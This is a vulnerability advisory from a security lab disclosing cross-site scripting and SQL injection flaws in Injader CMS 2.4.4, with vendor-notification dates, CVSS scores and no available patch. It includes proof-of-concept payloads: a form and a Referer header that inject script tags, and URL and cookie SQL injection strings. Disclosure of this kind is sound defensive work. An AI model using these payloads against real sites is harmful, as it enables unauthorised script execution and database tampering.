Multiple Vulnerabilities in Injader CMS
| Advisory ID: | HTB22742 |
| Product: | Injader CMS |
| Vendor: | Injader CMS Team |
| Vulnerable Versions: | 2.4.4 and probably prior |
| Tested Version: | 2.4.4 |
| Advisory Publication: | December 7, 2010 [without technical details] |
| Vendor Notification: | December 7, 2010 |
| Public Disclosure: | December 21, 2010 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89] |
| Risk Level: | High |
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| CVSSv2 Base Scores: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
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Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Injader CMS which could be exploited to perform cross-site scripting and SQL injection attacks.
1) Cross-site scripting (XSS) vulnerabilities in Injader CMS
1.1 The vulnerability exists due to input sanitation error in the "txtGuestURL" parameter in comment.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/comment.php?action=create&area=1" method="post" name="main" >
<input type="hidden" name="txtGuestName" value="test"/>
<input type="hidden" name="txtGuestEmail" value="test@mail.com"/>
<input type="hidden" name="chkPreview" value="on"/>
<input type="hidden" name="txtContent" value="test"/>
<input type="hidden" name="txtArticleID" value="1"/>
<input type="hidden" name="txtGuestURL" value='http://123.com"><script>alert("XSS");</script>'/>
<input type="submit" value="submit" name="submit" />
</form>
1.2 The vulnerability exists due to input sanitation error in the HTTP Referer header in login.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
GET /login.php HTTP/1.1
Referer: "><script>alert('XSS');</script>
2) SQL injection vulnerabilities in Injader CMS
2.1 The vulnerability exists due to input sanitation errors in the "area1" parameter in search.p. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://[host]/search.php?go=yes&q=a&area1=123%27SQL_CODE
2.2 The vulnerability exists due to input sanitation errors in the "IJ-Login" cookie in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
GET /index.php HTTP/1.1
Cookie: IJ-Login=123'SQL_CODE_HERE
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Solution: |
| Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback. |
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References: |
[1] High-Tech Bridge Advisory HTB22742 - https://www.immuniweb.com/advisory/HTB22742 - Multiple Vulnerabilities in Injader CMS
[2] Injader CMS - injader.com - Injader CMS is a content management system written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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